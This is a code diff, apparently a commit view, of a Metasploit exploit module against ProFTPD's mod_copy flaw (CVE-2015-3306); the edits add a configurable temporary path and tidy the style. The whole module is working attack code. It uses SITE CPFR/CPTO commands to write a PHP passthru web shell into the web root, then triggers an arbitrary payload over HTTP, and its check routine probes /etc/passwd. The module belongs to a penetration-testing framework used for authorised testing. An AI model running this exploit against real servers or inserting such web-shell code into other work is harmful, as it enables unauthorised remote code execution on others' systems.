6
6
require 'msf/core'
7
7
8
8
class Metasploit3 < Msf ::Exploit ::Remote
9
+
9
10
Rank = ExcellentRanking
10
11
11
12
include Msf ::Exploit ::Remote ::Tcp
@@ -30,7 +31,7 @@ def initialize(info = {})
30
31
'License' => MSF_LICENSE ,
31
32
'References' =>
32
33
[
33
- [ 'CVE' , '2015-3306' ] ,
34
+ [ 'CVE' , '2015-3306' ] ,
34
35
[ 'EDB' , '36742' ] ,
35
36
] ,
36
37
'Privileged' => false ,
@@ -57,91 +58,91 @@ def initialize(info = {})
57
58
OptPort . new ( 'RPORT' , [ true , 'HTTP port' , 80 ] ) ,
58
59
OptPort . new ( 'RPORT_FTP' , [ true , 'FTP port' , 21 ] ) ,
59
60
OptString . new ( 'SITEPATH' , [ true , 'Absolute writable website path' , '/var/www' ] ) ,
61
+ OptString . new ( 'TMPPATH' , [ true , 'Absolute writable/executable path' , '/tmp' ] ) ,
60
62
OptString . new ( 'TARGETURI' , [ true , 'Base path to the website' , '/' ] )
61
63
] , self . class )
62
64
end
63
65
64
66
def check
65
67
ftp_port = datastore [ 'RPORT_FTP' ]
66
- sock = Rex ::Socket . create_tcp ( { 'PeerHost' => rhost , 'PeerPort' => ftp_port } )
68
+ sock = Rex ::Socket . create_tcp ( 'PeerHost' => rhost , 'PeerPort' => ftp_port )
67
69
68
70
if sock . nil?
69
- fail_with ( Failure ::Unreachable , "#{ rhost } :#{ @remoting_port . to_s } - Failed to connect to remoting service " )
71
+ fail_with ( Failure ::Unreachable , "#{ rhost } :#{ ftp_port } - Failed to connect to FTP server " )
70
72
else
71
73
print_status ( "#{ rhost } :#{ ftp_port } - Connected to FTP server" )
72
74
end
73
75
74
76
res = sock . get_once ( -1 , 10 )
75
- unless ( res and res =~ / 220/ )
77
+ unless res && res . include? ( ' 220' )
76
78
fail_with ( Failure ::Unknown , "#{ rhost } :#{ ftp_port } - Failure retrieving ProFTPD 220 OK banner" )
77
79
end
78
80
79
81
sock . puts ( "SITE CPFR /etc/passwd\r \n " )
80
82
res = sock . get_once ( -1 , 10 )
81
- if res and res =~ / 350/
82
- return Exploit ::CheckCode ::Vulnerable
83
+ if res && res . include? ( ' 350' )
84
+ Exploit ::CheckCode ::Vulnerable
83
85
else
84
- return Exploit ::CheckCode ::Safe
86
+ Exploit ::CheckCode ::Safe
85
87
end
86
88
end
87
89
88
90
def exploit
89
-
90
91
ftp_port = datastore [ 'RPORT_FTP' ]
91
92
get_arg = rand_text_alphanumeric ( 5 +rand ( 3 ) )
92
93
payload_name = rand_text_alphanumeric ( 5 +rand ( 3 ) ) + '.php'
93
94
94
- sock = Rex ::Socket . create_tcp ( { 'PeerHost' => rhost , 'PeerPort' => ftp_port } )
95
+ sock = Rex ::Socket . create_tcp ( 'PeerHost' => rhost , 'PeerPort' => ftp_port )
95
96
96
97
if sock . nil?
97
- fail_with ( Failure ::Unreachable , "#{ rhost } :#{ @remoting_port . to_s } - Failed to connect to remoting service " )
98
+ fail_with ( Failure ::Unreachable , "#{ rhost } :#{ ftp_port } - Failed to connect to FTP server " )
98
99
else
99
100
print_status ( "#{ rhost } :#{ ftp_port } - Connected to FTP server" )
100
101
end
101
102
102
103
res = sock . get_once ( -1 , 10 )
103
- unless ( res and res =~ / 220/ )
104
+ unless res && res . include? ( ' 220' )
104
105
fail_with ( Failure ::Unknown , "#{ rhost } :#{ ftp_port } - Failure retrieving ProFTPD 220 OK banner" )
105
106
end
106
107
107
- print_status ( "#{ rhost } :21 - Sending copy commands to FTP server" )
108
+ print_status ( "#{ rhost } :#{ ftp_port } - Sending copy commands to FTP server" )
108
109
109
110
sock . puts ( "SITE CPFR /proc/self/cmdline\r \n " )
110
111
res = sock . get_once ( -1 , 10 )
111
- unless ( res and res =~ / 350/ )
112
+ unless res && res . include? ( ' 350' )
112
113
fail_with ( Failure ::Unknown , "#{ rhost } :#{ ftp_port } - Failure copying from /proc/self/cmdline" )
113
114
end
114
115
115
- sock . put ( "SITE CPTO /tmp /.<?php passthru($_GET[\' #{ get_arg } \' ]);?>\r \n " )
116
+ sock . put ( "SITE CPTO #{ datastore [ 'TMPPATH' ] } /.<?php passthru($_GET[\' #{ get_arg } \' ]);?>\r \n " )
116
117
res = sock . get_once ( -1 , 10 )
117
- unless ( res and res =~ / 250/ )
118
+ unless res && res . include? ( ' 250' )
118
119
fail_with ( Failure ::Unknown , "#{ rhost } :#{ ftp_port } - Failure copying to temporary payload file" )
119
120
end
120
121
121
- sock . put ( "SITE CPFR /tmp /.<?php passthru($_GET[\' #{ get_arg } \' ]);?>\r \n " )
122
+ sock . put ( "SITE CPFR #{ datastore [ 'TMPPATH' ] } /.<?php passthru($_GET[\' #{ get_arg } \' ]);?>\r \n " )
122
123
res = sock . get_once ( -1 , 10 )
123
- unless ( res and res =~ / 350/ )
124
+ unless res && res . include? ( ' 350' )
124
125
fail_with ( Failure ::Unknown , "#{ rhost } :#{ ftp_port } - Failure copying from temporary payload file" )
125
126
end
126
127
127
128
sock . put ( "SITE CPTO #{ datastore [ 'SITEPATH' ] } /#{ payload_name } \r \n " )
128
129
res = sock . get_once ( -1 , 10 )
129
- unless ( res and res =~ / 250/ )
130
+ unless res && res . include? ( ' 250' )
130
131
fail_with ( Failure ::Unknown , "#{ rhost } :#{ ftp_port } - Failure copying PHP payload to website path, directory not writable?" )
131
132
end
132
133
133
134
sock . close
134
135
135
136
print_status ( "#{ peer } - Executing PHP payload #{ target_uri . path } #{ payload_name } " )
136
- res = send_request_cgi! ( {
137
+ res = send_request_cgi! (
137
138
'uri' => normalize_uri ( target_uri . path , payload_name ) ,
138
139
'method' => 'GET' ,
139
140
'vars_get' => { get_arg => "nohup #{ payload . encoded } &" } ,
140
- } )
141
+ )
141
142
142
- unless ( res and res . code == 200 )
143
- fail_with ( Failure ::Unknown , "#{ rhost } :21 - Failure executing payload" )
143
+ unless res && res . code == 200
144
+ fail_with ( Failure ::Unknown , "#{ rhost } :#{ ftp_port } - Failure executing payload" )
144
145
end
145
-
146
146
end
147
+
147
148
end
0 commit comments